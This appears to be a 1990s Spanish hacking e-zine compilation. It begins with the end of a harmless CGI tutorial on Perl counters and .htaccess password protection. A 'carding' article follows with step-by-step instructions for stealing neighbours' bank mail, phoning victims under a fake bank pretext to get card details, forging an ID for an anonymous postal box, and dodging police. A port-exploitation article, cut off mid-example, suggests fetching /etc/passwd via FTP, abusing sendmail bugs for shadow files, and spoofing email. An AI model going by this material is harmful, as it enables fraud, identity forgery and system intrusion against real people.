ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
Ya que el Gif Construction Set trae un help bastante completo y es sencillo
de usar no quisiera extenderme m s en el tema.
Sugerencia: Leer con el GifCon los .GIF que trae de ejemplo.
Si nos decidimos por utilizar este m‚todo tengamos en cuenta lo siguiente.
La mayor¡a de los browsers (descartando Netscape 2.0) mostrar n £nicamente el
primer cuadro de la animaci¢n y algunos pocos s¢lo el £ltimo.
De manera que si queremos que tratar de que la animaci¢n luzca bien en
cualquier browser, la soluci¢n m s simple es hacer que el primer cuadro sea
el m s presentable (nada de logos al rev‚s;) y que el £ltimo sea igual al
primero.
Counters.
Implementar un "counter" no es una tarea muy d¡ficil. B sicamente se graba en
un archivo el valor del contador, y cada vez que se hace un nuevo acceso a la
p gina controlada se lee este archivo, se incrementa en uno el valor le¡do y
se vuelve a grabar. Veremos un fragmento de script que hace esta tarea.
Por otro lado no quer¡a dejar de comentar que existen scripts m s complicados
que pueden generar una salida en la forma de un archivo .GIF. Estos scripts lo
que hacen es leer el valor a representar, "pegan" en una misma imagen los
d¡gitos que componen dicho n£mero y la env¡an.
Si seguimos avanzando tambi‚n encontraremos scripts que pueden controlar m s
de una p gina, ya que trabajan en base a un archivo ¡ndice que almacena el
valor de los contadores para cada p gina en particular.
A los fines de este tutorial el ejemplo presentado es lo suficientemente
entendible como para poder implementarlo y practicar sin mucho trabajo.
ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
³ #!/usr/local/bin/perl ³
³ ³
³ open(CONTADOR,"$counter.dat") || die "Error al abrir el archivo: $!\n"; ³
³ $contador = ; ³
³ close(CONTADOR); ³
³ if ($contador =~ /\n$/) { ³
³ chop($contador); ³
³ } ³
³ ³
³ $contador++; ³
³ ³
³ print "Bla,bla,bla.." ³
³ ³
³ open(CONTADOR,">$counter.dat") || die "Error al cerrar el archivo: $!\n";³
³ print CONTADOR "$contador"; ³
³ close(CONTADOR); ³
ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
P ginas Web con protecci¢n por password.
Para no dejar de lado el tema de la seguridad abordaremos el uso de passwords
en el acceso a un servidor Web.
Necesitaremos nuevamente tener algunos conocimientos previos, en este caso del
manejo de archivos UNIX.
Si utilizamos otro tipo de plataforma para correr el Web Server, como Windows
NT, tendremos este tema solucionado con una muy sencilla configuraci¢n a trav‚s
del uso de men£es (por lo menos con el Website).
Lo principal para aclarar antes de comenzar es que cuando utilizamos este
sistema (seg£n su mecanica interna) restringimos el acceso a un directorio,
no a una p gina en particular.
El m‚todo se basa principalmente en poner en cada directorio a proteger un
archivo de nombre ".htaccess" que contiene los par metros de configuraci¢n de
la protecci¢n implementada y el nombre del archivo que contiene las passwords
que normalmente es el ".htpasswd".
Y se acab¢ el misterio. Eso es todo. Cuando se le solicita al server una
p gina que tiene en su mismo directorio un ".htaccess", ‚ste se encarga de
enviar los c¢digos HTTP necesarios para que el browser levante la ventanita de
autentificaci¢n.
Para explotar este recurso completamente pasaremos a analizar en detalle los
par metros que pueden ser utilizados en el ".htaccess" y la forma en que
podemos mantener actualizado el ".htpasswd" .
El archivo ".htaccess".
Este archivo debe estar ubicado en el directorio que se desea proteger y dicha
protecci¢n afectar a todos los subdirectorios del mismo, a menos que posean
sus propios archivos ".htaccess".
Dado que se trata de un archivo de texto com£n podremos actualizarlo con
cualquier editor del que dispongamos.
ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
³ AutUserFile .htpasswd ³
³ AuthGroupFile /dev/null ³
³ AuthName Ingrese su user ID y su password. ³
³ AuthType Basic ³
³ ³
³ ³
³ require user usuario1 usuario2 usuario3 ..... ³
³ ³
ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
Descripci¢n de los Par metros.
AutUserFile: es el nombre del archivo que contiene los nombres de los
usuarios (users ID) y sus respectivas passwords. Este archivo debe estar
ubicado en el mismo directorio que ".htaccess" pero puede llevar cualquier
nombre. Por convenci¢n le daremos el nombre de ".htpasswd" .
AuthGroupFile: Este es el nombre del archivo de grupo. Podemos setear
grupos de usuarios para que tengan acceso a un directorio, en el caso del
ejemplo no tenemos un archivos de estos armado, por lo que direccionamos
a null que significa que no existe ning£n archivo de grupos.
AuthName: Es el string que aparecer en la ventanita que levanta el browser,
cuando se le pregunte al usuario su ID y su password.
AuthType: es la clase de seguridad que implementamos. "Basic" significa
Autentificaci¢n B sica HTTP, es decir que la informaci¢n enviada a trav‚s de
la red NO ser encriptada sino que ser "uuencodeada" (uuencoded), lo cual
nos da un nivel de protecci¢n similar al de una sesi¢n de telnet.
Existen otro m‚todos adem s de ‚ste tales como PEM, PGP, Kerberos V5 y Digest.
En el ejemplo que vimos solamente el m‚todo GET est restringido usando la
directiva . Para limitar otras m‚todos (particularmente en los
directorios CGI-BIN) se puede especificar los mismos separados por espacios
dentro de la directiva LIMIT. Por ejemplo:
require user usuario1 usuario2 usuario3 .....
El comando "require" le dice al server cuales son los usuarios que est n
autorizados en ese directorio. Este comando puede tomar dos formas, "require
user" para limitar el acceso seg£n usuarios o bien "require group" para
limitar el acceso seg£n grupos de usuarios.
Existen otros comandos que pueden ser implementados en este nivel, como
"allow" y "deny" que permiten otorgar o denegar (respectivamente) el acceso
a un dominio en particular.
order deny,allow
deny from all
allow from .mecon.ar
Restringiedo el acceso a los documentos de ese directorio a aquellas m quinas
que se encuentren en el dominio .mecon.ar y excluyendo a las restantes.
Cabe destacar que los ID utilizados son completamente arbitrarios (es decir no
tienen relaci¢n con los usuarios del server).
El archivo .htpasswd .
Este archivo consiste en una lista de los user ID y sus password encriptadas,
es un archivo de texto com£n por lo que puede ser movido, copiado o borrado
como cualquier otro.
Por ejemplo:
pedro:WkSK1DE7N8.9.
pablo:hQty39EV1.g56
diego:JeB31vf9PSTgw
susana:EDRfRrfrw43q
Como no podemos crear una password encriptada "a mano" usaremos una herramienta
llamada htpasswd que permite construir este tipo de archivos.
Esta herramienta se usa de la siguiente manera:
Server> htpasswd -c .htpasswd USUARIO
Adding password for USUARIO
New password:********
Re-type new password: *******
Si queremos modificar la password de USUARIO en otro momento usamos la misma
sintaxis. Para eliminar usuarios simplemente se borra la l¡nea correspondiente
dentro del archivo.
Proteccion a nivel de grupo
Cuando tenemos un gran n£mero de usuarios que mantener podemos facilitar el
manejo de los mismos separ ndolos en "grupos" creando un archivo de nombre
".htgroup" (por convenci¢n) con el siguiente formato:
nombregrupo1: primeruser segundouser .... £ltimouser
nombregrupo2: primeruser segundouser .... £ltimouser
nombregrupo3: primeruser segundouser .... £ltimouser
y debemos cambiar el require por un "require group nombregrupo ".
Final del tutorial (por ahora).
Con el tema de las "passwords" damos por terminada la tercera parte de este
documento, lo que sigue es un ap‚ndice con links que me fueron bastante £tiles
al momento armarlo, la bibliograf¡a utilizada y algo de vocabulario.
Terminar esta tercera parte fu‚ algo m s que un triunfo, (pensar que hab¡a
planeado tenerla lista para fines de marzo:), cada vez que agarraba el doc
surg¡a un tema nuevo, y as¡.
Releyendo las otras partes me doy cuenta que faltan algunos ¡tems (oh no..m s
laburo :P) o que por lo menos est n un poco incompletos, paciencia en cuanto
pueda sale una nueva versi¢n corregida y aumentada.
Lo pr¢ximo que tengo en mente en cuanto a tutorials estar basado en el uso de
frames y JavaScript en p ginas HTML, una tecnolog¡a interesante pero no madura
del todo en este momento, as¡ como tambi‚n una mini-introducci¢n al lenguaje
Perl, de manera que en algunos meses m s empezar‚ por ese lado.
A prop¢sito, ustedes notar n que desde que empez¢ esto del tutorial mis
preferencias program ticas han ido cambiando a lo largo del tiempo.
Estos cambios tienen su fundamento; Perl es portable, es f cil de usar y de
aprender, es freeware y adem s es interpretado de manera que el ciclo edici¢n/
testeo se hace mucho m s corto.
Escribir este tutorial fu‚ una tarea bastante grata, aprend¡ much¡simo tratan
do de explicar algunos conceptos,y como siempre para hacer de esta una tarea
completa espero sus comentarios (de los buenos y de los otros ;), en mi email:
dquir@indec.mecon.ar ,los cuales ser n de gran ayuda en mis proyectos futuros.
Suerte y buenos scripts!
(frase afanada de alg£n lado)
Sebass.
Pr¢ximos Desarrollos.
El protocolo HTTP y HTTP-NG.
Meta Tags y su uso ( y abuso).
CGI scripts en otros lenguajes (Visual Basic por ejemplo)
HTML/CGI como front/end de nuestros programas.
Introduccion a Java y JavaScript.
Introduccion a Perl y aplicaciones CGI.
PD: Parece que no puedo dejar de escribir, no quer¡a dejar de comentar que las
versiones HTML y Word del tutorial estar n disponibles en breve.
--
APENDICE: Librer¡as para la Programaci¢n de scripts CGI.
Estos son los URL de las librer¡as utilizadas en los ejemplos de este documento.
Librer¡a C ÄÄÄÄ> UnCGI ÄÄÄÄ> http://www.hyperion.com/~koreth/uncgi.html
Librer¡a Pascal ÄÄÄÄ> TPWCGI ÄÄÄÄ> http://141.2.61.48/tpwcgi/tpwcgi.htm
Librer¡a Perl ÄÄÄÄ> CGI-LIB.PL ÄÄÄÄ> http://www.bio.cam.ac.uk/cgi-lin/1.14/cgi-lib.pl.txt
Sites con informaci¢n acerca de CGI.
Estos sites contienen mucha de la informaci¢n que fu‚ utilizada para crear
este documento y son realmente muy interesantes.
http://shani.net:80/~tls/guide/index.html
http://www.stars.com/Vlib/Providers/CGI.html
http://super.sonic.net/ann/delphi/cgicomp/detail.html
http://www.city.net/win-httpd/httpddoc/wincgi.htm
http://www.aspectse.com/Product/dbWeb/dbWeb.html
http://128.172.69.106:8080/cgi-bin/cgis.html
http://users.aol.com/thingtone/workshop/index.htm
Vocabulario - Siglas.
URL: Universal Resource Locator
Una nomenclatura que describe en forma compacta la ubicaci¢n de cada
recurso en la Internet y el protocolo utilizado para acceder al mismo.
MIME: Multipurpose Internet Mail Extensions
Una nomenclatura que permite identificar correctamente el tipo de
datos que se esta enviando a trav‚s de una conexi¢n.
HTML: HyperText Markup Languaje
Un lenguaje para el "armado" de documentos de hypertexto incluyendo
"links" y algunas otras carater¡sticas adicionales.
CGI: Common Gateway Interface
Un mecanismo que permite a los browser de Web ejecutar programas en el
server Web y recibir la "salida" de estos programas.
HTTP: HyperText Transport Protocol
Un protocolo para la transferencia de documentos de hypertexto y otro
tipo de archivos.
VRML:Virtual Reality Modeling Languaje
Un lenguaje que mediante "modelos" permite generar visiones 3D de un
universo con "links" y otras caracter¡sticas adicionales.
Bibliograf¡a.
An exploration of Dynamic Documents - Netscape Corporation.
Very Limited Guide to HTML - Kevin Werbach.
CGI tutor - Bex Lanner.
HTML-based Interfaces - Nik Swoboda.
CGI Tutorial - Agora.
An guide to HTML and CGI scripts - Mike Smith.
Mosaic User Authentication Tutorial - NCSA.
Web Page Password Protecion - CNC.
FIN DEL TUTORIAL
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ 01/05/96
ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ» ³Sebasti n Quiroga.
ºEste documento puede ser reproducido en su º ³
ºtotalidad o en parte siempre que se conserveº ³Email:
ºesta postdata o bien se haga clara menci¢n º ³ dquir@indec.mecon.ar
ºde la fuente. º ³ diego@comunicaciones.mecon.ar
ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
ÚÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
³Versi¢n: 1.00³
ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
oOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoO
Aqui tienes algo de carding, aunque no te recomiendo que lo pongas en
practica si no quieres acabar en la carcel ...
oOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoO
4 - CARDING
~~~~~~~~~~~
CARDING - CARDING - CARDING - CARDING - CARDING
++++++++++++++++++++++++++++++++++++++++++++++++
by SlimeLORD
eclipse GROUP
Que mejor que poder acceder a cualquier sitio,
o por ejemplo, no se te ha ocurrido nunca?
El poder comprar GRATIS por Internet, para ello,
debes conseguir lo siguiente:
* Una carta del banco, de cualquier persona (que sea extracto de cuenta)
* O bien un resguardo de esos que tiran al lado de los
cajeros automaticos.
* Un generador de numeros de tarjetas de credito
* Un poco de perspicacia
* Un apartado postal creado a partir de un carnet falso
PRIMERO.
++++++++
Bien, ¨no sabes como conseguir cartas del banco? No vives en un piso?
Umm nunca has mirado los buzones de tus vecinos?
Pues ya es HORA! Busca bien sobre todo cartas de bancos, ARGENTARIA,
BBV, CENTRAL-HISPANO, RURAL...
Bien, una vez tengas uno, suelen salir los extractos sobre finales
de mes, ya sea el 22, 23, 24, de ese mes, tenlo en CUENTA, y sobre
todo cuando lo deja el cartero, luego APROVECHA que no te pille nadie
y SAQUEA el correo .
ADVERTENCIA: Robar el CORREO ES DELITO!
Bien, ahora si la carta es correcta, obtendras los datos de tu vecino
y mira el saldo que le queda: Guau! una peque¤a fortuna, a que si?
jeje,
Debes obtener los siguientes datos:
PROPIETARIO/A DE LA CUENTA,
ENTIDAD ( 4 cifras)
OFICINA ( 4 cifras)
D.C ( 2 cifras)
CUENTA (10 cifras)
En total un numerito de 20 cifras, ok?
Bueno, pues AHI tienes la cuenta, pero SORPRESA de su extracto he
conseguido su numero de tarjeta de credito, UFF!!
CHAVAL espera!!!!!!!!
SEGUNDO.
++++++++
suelen tener este aspecto los extractos de tarjetas de credito:
F.OPER. CONCEPTO F.VALOR CARGOS ABONOS
14-01 SALDO ANTERIOR 210.000
14-01 CUOTA TARJETA 9-01
TARJETA XXXX XXXX XXXX XXXX 13-01 750.000
14-01 OPERATORIA EN CAJEROS SERVIRED
XXXX XXXX XXXX XXXX YYYY YYYY YYY 19-01
19-01 RETIRADA EFECTIVO CAJERO BBV
XXXX XXXX XXXX XXXX YYYY YYYY YYY 22-01
Gueno, pos la tarjeta la teneis dada, ahora solo queda
chequearla en vuestro CHEQUEADOR DE TARJETAS DE CREDITO, valen
la THC-CARD, CCARD CREATOR... y demas. A partir de esa puedes
generar tarjetas aleatorias, jeje te serviran para siguientes actos!
Si es asi, BIEN, puedes usar la tarjeta para hacer compras por
INTERNET, pero..ummm, COMO CO¥O? ( umm, come lo que quieras..) X'DDD
SEGUNDO.b
+++++++++
Este articulo tenia 4 pasos pero la creciente demanda de direcciones
y paginas WEB que hacen seguras sus transacciones a traves de servidores
chequeadores de tarjetas, me he tenido obligado a retocar el articulo
(version beta 0.1.2) xDDDDDDDD Bueno, todos habreis usado cualquiera
de los miles de generadores de tarjetas que hay disponibles no?
Bien pero ERROR, ya no se las traga, :( Bueno hay OTRA solucion,
O bien creo hay una pagina HACK donde instantaneamente al ponerle
un numero de VISA p.ej te genera la fecha de caducidad y se la traga
la WEB9000 (si saben la dire avisenme)... O bien se puede hacer
el viejho trukhoh! del almendrukhoh (esto es con asento americanou)...xDDD
Al pillar la carta de tu vecino/a pues sabes la direccion de donde
es ella, y si pillaste su numero de tarjeta puedes usar tu ingenieria
social, para a) conseguir su numero de telefono, como?
llamala por el porterillo y dile que eres de la revision del gas, p.ej
y que si es ella la se;ora tal ... que si me podria dar su numero de
telefono, mas facil es llamar al 003 y que te digan su numero....
Bien empapate de los datos suyos bancarios y hazle una llamada sobre
las 11.00 de la ma;ana, ponle voz de convencido sino no funciona...
Y dile, TU: "muy buenos dias, mire le llamo desde el banco XXXXX
y resulta que estoy comprobando unos datos.... Vd es la se;ora XXXXX
no? Tiene ahi su numero de tarjeta VISA???"
a esperar un momentito... no te rias....
Bien, el titular es XXXXX (dato que ya tenias...) y el numero es XXXXX
y se lo sueltas, " te respondera que si, ahora dile que la fecha
de caducidad se la han cambiado, y preguntale que cual era la
que tenia IMPRESA.... Y et BoILA! Ya tienes numerito y hasta con
fecha de caducidad....
Dile que gracias por corregir los datos y buenos dias...."
OK, ahora grita de contento!!!!
GASTATE TODO EL DINERAL DE TU VECINO!!!!!!!!!!!
jajajaja.
(ej. en bonos de internet de telefono, net2phone.... playboys...
teletienda... ui madre miaaaaaaaaaaa ....)
TERCERO
++++++++
Bien, habras visto muchas cosas para comprar por INTERNET, teletienda,
internet-shop, y demas...
Busca tan siquiera en el OLE, tiendas, o teletiendas...
Veras como salen a porrillo... Sobre todo que sean ESPA¥OLAS, o las
de la tele mismamente, esos 903 o 906 YO KE SE!
Bien, tienes una localizada, no?
OK, vamos a comprar.
HAY QUE SABER COMPRAR.
Por ejemplo, que comprariais?
Una butifarra? Un champu antipiojos?
:?¨ NO HOMBRE KE MAL GUSTO TIENES!
Una consola? Un componente nuevo para tu PC?
Ok eso siempre!!! FALE! Ahora te pediran los datos y OJOR!!!!
JARLH!! te pide la direccion donde mandarlo, umm! esto tiene truco
NUNCA DEIS NINGUN DATO VUESTRO REAL!! OK?
FALE, para recibir el "regalito" create un APARTADO POSTAL ANONIMO.
Umm , como? Vale, hazte un escaneo de tu DNI, le cambias la foto un
poquito, date cuenta que bien puede ser la de un colega tuyo de 14 tacos.
X'DDDDDDDD
OJO: ADVERTECIA: POSEER UN DNI FALSO ES DELITO PENADO POR LEY!
RECOMENDADO HACERTE CON UN DNI DE LOS ANTIGUOS; ESOS NO TIENEN
RELIEVE EN EL DNI, Y DA MAS EL PEGO...( cambiale la caducidad! )
Que se parezca vagamente a ti, OK, luego se la pegas en la que
has imprimido, te sugiero la hagas con una impresora a COLOR, tipo
EPSON 800 o similar, a 600 ppp, or better a 1400! Bien, ahora
la llevas a cualquier fotocopiadora y que te la plastifiquen. OKIZ?
Hazlo lo mejor posible, aunque seas un MANOTAS seguro lo consigues.
OK! Bien, ahora sacale una fotocopia que es lo que te pediran en
CORREOS para sacartelo... pagan las 3000 pelas, et voila!
Apartadillo para ti solo!
Ahora ya puedes pedir que te manden el regalito a ese apartadillo
postal a nombre del DNI falso que tas currao!
Bien, no abuses de este metodo, pues AVISO: si es una ciudad grande
tipo MADRID , BARCELONA, no deberiais tener problemas, pero si es
un pueblecito, mejor NO hacerlo, pues OS CONOCEN!
Bien, una vez lo hayas pedido, date cuenta que tardara sobre unos
4-5 dias, segun la rapidez del transporte, BIEN!, vete bien temprano
el dia que creas que ha llegado y saca tu paquete, si te dejan una
nota diciendo que vayas a otro sitio a recojerlo, umm, suena RARO,
mejor no vayas! Tambien , mejor hecha un vistacillo alrededor
a ver si ves algo raro, gente esperando, mirando a las enrtadas,
umm, esto es muy importante, ya que pueden ser de la secreta...
Vale, pide cositas importantes, pero a la vez peque¤as,
como por ejemplo tarjetas graficas 3D, consolas, grabadoras...
cosas peque¤as y de valor... discos duros...
Bien,
Otro consejito:
No uses el apartado para lo mismo tres o 4 veces, te podrian cazar,
y recuerda, ves a recojer tu paquete o BIEN cuando creas que ha
o debe de llegar, o bien pasate al mes siguiente, seguro que nadie
se da cuenta, y ES LO MAS SEGURO. RECOMENDADO!
Umm, si le pagas 500 pelas a un chavalillo, hasta el mismo te lo
puede traer, pero citalo en un sitio donde NO haya nadie, y observalo
de lejos no vaya a ser que lleve compa¤ia, me pillas?
JHumm!
CUARTO.
+++++++
Bien, eres UNIVERSITARIO? JORL! bien , bien , bien, amos a haserlo
mas fasil, los estudiantes universitarios suelen / solemos ( X'DD)
vivir en pisos de alquiler, USA esto para recojer tus paquetes,
los compa¤eros que te busques deben ser esporadicos, osea que
un mes aqui, otro alla, y con nombre falso, dni falso, umm direccion
falsa... Uff, cuanto mas falso tengas mejor..
Bene , bene! Pidelo a esa direccion, e intenta que te lo envien a
finales de mes, asi podras largarte a fin de mes, sin dejar sospechas.
O si te pillan en el piso y tienes confianzas con tus colegas diles
que llegaban cosas a esta direccion sin mas y que tu no tienes nada
que ver, pero como llegaban gratis pues nos lo quedamos...
Puedes pedir, segun te vayas experimentando en el tema mas cosas,
segun sea, pero CAREFUL, se cuidadoso, y otra cosa importante,
te puede servir para conseguir cartas de tus vecinos nuevos...
Ya sabes, lo tienes a guevo!
SALUTOS!
BYEZ SlimeLORD
eclipse GROUP
slimelord@usa.net
pqpqpqpqpqpqpqpqpqpqpqpqpqpqpqpqpqpqpqpqpqpqpqpqpqpqpqpqpqpqpqpqpqpqpqpqpqpq
Dado que hay muchos articulos sobre Unix y sobre que hacer una vez dentro de
un sistema, he escrito este que puede ayudarte a hacer lo mas importante,
entrar ....
pqpqpqpqpqpqpqpqpqpqpqpqpqpqpqpqpqpqpqpqpqpqpqpqpqpqpqpqpqpqpqpqpqpqpqpqpqpq
5 - COMO APROVECHAR LOS PUERTOS DE UN SISTEMA
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
OoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoO
o o
O CoMo aPRoVeCHaR LoS PueRToS De uN SiSTeMa O
o o
O GuyBrush O
o o
OoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoO
A.-INTRODUCCION
~~~~~~~~~~~~
Como todos sabeis, uno de los primeros pasos (por no decir el primero) a
la hora de buscar informacion sobre un sistema es hacer un escaneo de
puertos. Pero una vez hecho este, que aprovechamos realmente? mucha gente
solamente se fija en el puerto 23 (telnet) y si ve este cerrado ya lo toma
por imposible.
Con este texto quiero mostrar la gran utilidad de otros puertos tambien
importantes, bien para recopilar informacion, bien para hackear (aunque
no se disponga de acceso a la cuenta shell).
(El que no sepa que es esto de escanear puertos mejor que se lea antes
los numeros atrasados de RareGaZz).
B.-LISTADO DE LOS PUERTOS MAS IMPORTANTES
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Aunque ya han aparecido listados de puertos en otros numeros de este zine,
quiero volver a escribirlos para una mayor comodidad del lector; y asi,
poder tenerlos mas a mano.
Puerto Servicio Utilidad - [ o inutilidad :) ]
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
7 echo Lo que teclees se volvera a escribir
9 discard dev/null - basura
11 systat Informacion sobre los usuarios
13 Hora y fecha en el host remoto
15 netstat Informacion sobre la red
19 chargen Muchos caracteres ASCII. ^C para detenerlo
21 ftp Transferencia de ficheros
23 telnet Acceso al shell
25 smtp Correo saliente
37 time Hora en el host remoto
39 rlp Localizacion del recurso
43 whois Informacion sobre la red y el host
53 domain Nombre del servidor
70 gopher Buscador de informacion (ya anticuado)
79 finger Informacion sobre los usuarios
80 www Servidor de Web
109 pop2 Correo entrante
110 pop3 Correo entrante
119 nntp Grupos de noticias (news)
443 shttp Otro servidor de Web
512 biff Notificacion de correo
513 rlogin Login remoto
514 shell Comando remoto
515 spooler
520 route Protocolo de informacion routing
8000 http
8080 proxy
C.-ANALIZANDO ALGUNOS PUERTOS A FONDO
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Vamos a analizar la manera de sacar el mayor provecho a esos servicios
que encontramos disponibles cuando hacemos un escaneado de puertos.
"""""""""""""""""""""""
" PUERTO 15 (NETSTAT) "
" "
"""""""""""""""""""""""
- Utilidad
=-=-=-=-
Nos muestra una gran informacion sobre el sistema. Este puerto esta
destinado a hacer estadisticas sobre la red.
- Formas de explotarlo
=-=-=-=-=-=-=-=-=-=-
* Estilo newbie
-------------
Solo tienes que escribir 'netstat '. De todos modos, aqui
te pongo una peque¤a ayuda para que veas lo que se puede conseguir:
Parametros soportables:
? Ayuda de uso (algo parecido a esto, pero en
ingles) :)
-a Muestra todas las conexiones en cualquier
puerto
-e Estadisticas de la Ethernet. Esta opcion puede
ser combinada con '-s'
-n Muestra las direcciones y numeros de puerto de
forma numerica
-p protocolo Muestra las conexiones del protocolo 'tcp' o
'udp' especificado
-r Muestra el contenido de la tabla de enrutado
-s Estadisticas de los protocolos. Por defecto
estan el 'TCP', 'UDP' e 'IP', pero se pueden
especificar mas mediante el parametro '-p'
intervalo Muestra el resultado por paginas. Evita que se
te pierda la informacion por el scroll de la
pantalla
* Estilo hacker
-------------
Haz telnet al puerto 15 y preparate para recibir informacion. Lo
mejor es que redirijas la salida a un fichero y luego lo edites y
estudies tranquilamente.
"""""""""""""""""""
" PUERTO 21 (FTP) "
" "
"""""""""""""""""""
- Utilidad
=-=-=-=-
Supongo que todos sabreis que el FTP sirve para acceder a un ordenador
para coger / dejar ficheros. Es similar al acceso por telnet, pero con
muchas mas restricciones, como por ejemplo, no poder ejecutar ficheros.
Pero como tambien sabeis, presenta la ventaja de que en muchos sistemas
hay un usuario 'ftp' o 'anonymous' que te permite acceder libremente
poniendo como password 'guest' o tu nombre de usuario (Mmm mejor guest).
- Formas de explotarlo
=-=-=-=-=-=-=-=-=-=-
* Estilo newbie
-------------
Vamos a ver cuales son las ordenes que se pueden utilizar al hacer un
FTP:
HELP --> Muestra la lista de comandos disponibles. Los que
tienen un * al lado estan deshabilitados.
HELP comando --> Muestra ayuda de uso de ese comando.
USER --> Especificar un nombre de usuario.
PWD --> Especificar un password para el nombre de usuario
introducido anteriormente.
! --> Ejecutar ordenes de nuestro sistema sin salir del FTP.
Si por ejemplo escribimos '!dir *.*' (sin comillas)
veremos el contenido de nuestro disco duro (tener en
cuenta que pongo 'dir' si estoy bajo MS-DOS. Debemos
utilizar las ordenes de 'nuestro' sistema).
ACCOUNT --> Cuenta de usuario.
STORE --> Este comando hace que el servidor acepte los datos
transferidos y que los almacene en un fichero.
SUNIQUE --> Similar a STOR excepto que el fichero creado debe
tener un nombre unico para ese directorio.
APPEND --> Similar a STOR, pero si el fichero ya existe los
datos se almacenaran al final del archivo, sin
sobreescribir el fichero original.
CD --> Cambiar de directorio :)
CDUP --> Ir al directorio raiz ( = CD / ).
MKDIR --> Crear un directorio.
RMDIR --> Borrar un directorio vacio.
DELE / DELETE --> Borra un fichero del servidor.
LS --> Ver el contenido del directorio (igual que en Unix).
CHMOD --> Cambiar permisos de fiheros (igual que en Unix).
PWD --> Indica el directorio actual (igual que en Unix).
LCD --> Cambia el directorio local de trabajo.
QUIT / BYE --> Terminar la conexion.
TYPE modo --> Especifica el tipo de representacion de los
datos. El paremetro 'n' puede ser:
- ascii
- binary
- image
- ebcdic
- tenex
(Los parametros dependen del sistema).
PROMPT --> Activar /desactivar el modo interactivo. Nos
sirve para poder subir / bajar muchos ficheros
sin que nos pida conformacion cada vez.
GET --> Bajar un fichero.
PUT --> Subir un fichero.
MGET --> Similar a GET pero baja multiples ficheros (por
ejemplo: 'MGET /etc/passwd').
MPUT --> Similar a PUT pero sube multiples ficheros.
VERBOSE --> Activa / desactiva el modo verbose. Nos da mas
informacion sobre los comandos que ejecutamos.
MODE --> Especificar el modo de transferencia de datos. Los
modos posibles son:
S - Stream
B - Block
C - Compressed
RESTART --> Le indica al servidor el indicador de lugar en el
cual la transferencia de un fichero debe ser
continuada. Debe ir seguido de un comando apropiado
para que la transferencia continue.
RENAME --> Indica el nombre del fichero a renombrar.
BELL --> Suena el altavoz cada vez que acaba la ejecucion de
un comando.
SITE --> Este comando es usado por el servidor para proveer
servicios especificos al sistema que son esenciales,
pero no suficientemente universales para ser incluidos
como comandos en el estandar del protocolo.
SYSTEM --> Nos da informacion sobre el sistema operativo al
que estamos conectados.
STATUS --> Nos da informacion sobre el status del sistema.
Existen muchos mas comandos (dependiendo del sistema) pero estos son
los mas importantes (espero no haberme dejado ninguno).
* Estilo hacker
-------------
La forma de acceder es distinta, pero vamos a llegar al mismo sitio.
Podemos hacer telnet al puerto 21 y movernos por el sistema de forma
identica, con los comandos descritos anteriormente.
""""""""""""""""""""
" PUERTO 25 (SMTP) "
" "
""""""""""""""""""""
- Utilidad
=-=-=-=-
Podemos aprovecharlo de distintas formas, bien para enviar correo de
forma anonima, o si la version de 'sendmail' utilizada tiene bugs,
hasta puede que consigamos modificar el .rhosts de algun usuario (como
el root, por ejemplo) o conseguir el shadow del sistema.
- Formas de explotarlo
=-=-=-=-=-=-=-=-=-=-
* Estilo newbie
-------------
Solo has de cambiar la configuracion de tu programa de correo. Para
ello debes modificar el nombre del servidor de SMTP y las direcciones
de correo que tenemos en la identificacion de usuario y en el retorno
(reply-to address). Estos son los cambios:
POP3 Server: (no hace falta que lo modifiques)
SMTP Server: algun.servidor.de.smtp.com
POP3 Username: (no hace falta que lo modifiques)
E-mail address: supercoco@hacker.com
Reply-to address: supercoco@hacker.com
Lo que estamos haciendo es enviar correo como si fueramos el usuario
supercoco@hacker.com desde el servidor algun.servidor.de.smtp.com.
Al destinatario le aparecera mas o menos esto:
Return-Path:
Received: from algun.servidor.de.smtp.com ([208.156.39.193])
